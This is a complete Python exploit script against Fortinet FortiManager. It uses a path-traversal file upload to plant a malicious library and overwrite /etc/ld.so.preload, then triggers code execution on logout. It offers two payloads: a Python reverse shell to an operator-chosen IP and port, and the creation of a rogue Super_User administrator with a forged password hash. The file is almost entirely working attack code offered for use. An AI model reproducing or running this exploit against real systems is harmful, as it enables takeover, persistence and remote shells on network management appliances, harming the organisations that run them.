rce.py

#!/usr/bin/python3

import argparse
import os
from base64 import b64encode
from hashlib import sha256
from secrets import token_bytes
from urllib3.exceptions import InsecureRequestWarning

import requests


class FortiManagerRCE:

    def __init__(self, host, user, password, lib_path, verify=True):
        self.host = host
        self.user = user
        self.password = password
        self.lib_path = lib_path
        self.verify = verify

        if not verify:
            requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

        self.session = requests.session()

    def login(self):
        login_request = {
            'url': '/gui/userauth',
            'method': 'login',
            'params': {
                'username': self.user,
                'secretkey': self.password,
                'logintype': 0
                }
            }
        
        print('[+] Login to the FortiManager')
        r = self.session.post(f'https://{self.host}/cgi-bin/module/flatui_auth', json=login_request, verify=self.verify)
        
        res = r.status_code == 200
        if not res:
            print('[-] Failed to login')
        
        return res

    def upload_file(self, destination_path, content):
        size = len(content)
        
        if not destination_path.startswith('/'):
            destination_path = '/' + destination_path 
        
        upload_request = {
            'folder': (None, 'upload'),
            'filesize': (None, size),
            'filename': (None, '../../../../..' +  destination_path),
            'range': (None, f'0-{size}'),
            'filepath': ('file', content)
        }
        
        print(f'[+] Uploading {destination_path}')
        r = self.session.post(f'https://{self.host}/flatui/api/gui/upload', files=upload_request, verify=self.verify)
        
        res = r.status_code == 200
        if not res:
            print(f'[-] Failed to upload {destination_path}')
        
        return res

    def logout(self):
        print('[+] Login out of the FortiManager to trigger the RCE')
        r = self.session.get(f'https://{self.host}/p/logout/?host={self.host}', verify=self.verify)

        res = r.status_code == 200
        if not res:
            print('[-] Failed to log out')
        
        return res
    
    def fortinet_hash(self, password):
        fortinet_magic = b'\xa3\x88\xba\x2e\x42\x4c\xb0\x4a\x53\x79\x30\xc1\x31\x07\xcc\x3f\xa1\x32\x90\x29\xa9\x81\x5b\x70'
        salt = token_bytes(12)

        alg = sha256()
        alg.update(salt + password.encode('utf-8') + fortinet_magic)

        return 'SH2' + b64encode(salt + alg.digest()).decode('utf-8')
    
    def trigger_rce(self):
        # Uploading the library
        with open(self.lib_path, 'rb') as f:
            content = f.read()
        if not self.upload_file('/rce.so', content):
            return

        # Modifying /etc/ld.so.preload to make reference to /rce.so
        if not self.upload_file('/etc/ld.so.preload', '/rce.so'):
            return
        
        if not self.logout():
            return

    def rev_shell(self, dest_ip, dest_port):
        if not self.login():
            return
        
        # Creating the bash script that will be triggered by the malicious library
        rce_script = f"/usr/bin/python -c 'import socket,os,pty;s=socket.socket();s.connect((\"{dest_ip}\",{dest_port}));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")'"
        if not self.upload_file('/rce.sh', rce_script):
            return
        
        self.trigger_rce()

    def create_user(self, username, password):
        if not self.login():
            return
        
        # Creating the instruction script that will create the user
        fortios_instructions = f"config system admin user\nedit '{username}'\nset password ENC {self.fortinet_hash(password)}\nset profileid 'Super_User'\nset adom-access all\nnext\nend"
        if not self.upload_file('/create_user.txt', fortios_instructions):
            return

        # Creating the bash script that will be triggered by the malicious library
        rce_script = '/bin/cat /create_user.txt | /bin/cli'
        if not self.upload_file('/rce.sh', rce_script):
            return
        
        self.trigger_rce()


def main():

    parser = argparse.ArgumentParser()

    parser.add_argument('-k', '--insecure', action='store_true', help='Do not check the remote host certificate (default: False)')
    parser.add_argument('-l', '--library', help='Malicious library path (default: /tmp/rce.so)')

    parser.add_argument('connection', help='User, password, and host (user:password@host)')

    subparsers = parser.add_subparsers(title='Action to run', dest='action')

    parser_revshell = subparsers.add_parser('revshell', help='Run a Python reverse shell')
    parser_revshell.add_argument('ip', help='Destination IP for the reverse shell')
    parser_revshell.add_argument('port', help='Destination port for the reverse shell')

    parser_adduser = subparsers.add_parser('adduser', help='Create a new administrator')
    parser_adduser.add_argument('username', help='Username of the user to create')
    parser_adduser.add_argument('password', help='Password of the user to create')

    args = parser.parse_args()

    # Supporting passwords containing @ and : is left as an exercise to the reader :D 
    connection_parts = args.connection.split('@')
    if len(connection_parts) != 2:
        parser.error('Invalid connection format. Please use "user:password@host".')
    user_password, host = connection_parts
    user_password_parts = user_password.split(':')
    if len(user_password_parts) != 2:
        parser.error('Invalid user:password format. Please use "user:password@host".')
    
    user, password = user_password_parts

    library = args.library
    if library is None:
        library = '/tmp/library.so'
    
    if not os.path.isfile(library):
        parser.error(f'Invalid library path: the file does not exist ({library}).')
    
    verify = not args.insecure
    
    manager_rce = FortiManagerRCE(host, user, password, library, verify=verify)

    if args.action == 'revshell':
        manager_rce.rev_shell(args.ip, args.port)
        
    elif args.action == 'adduser':
        manager_rce.create_user(args.username, args.password)


if __name__ == '__main__':
    main()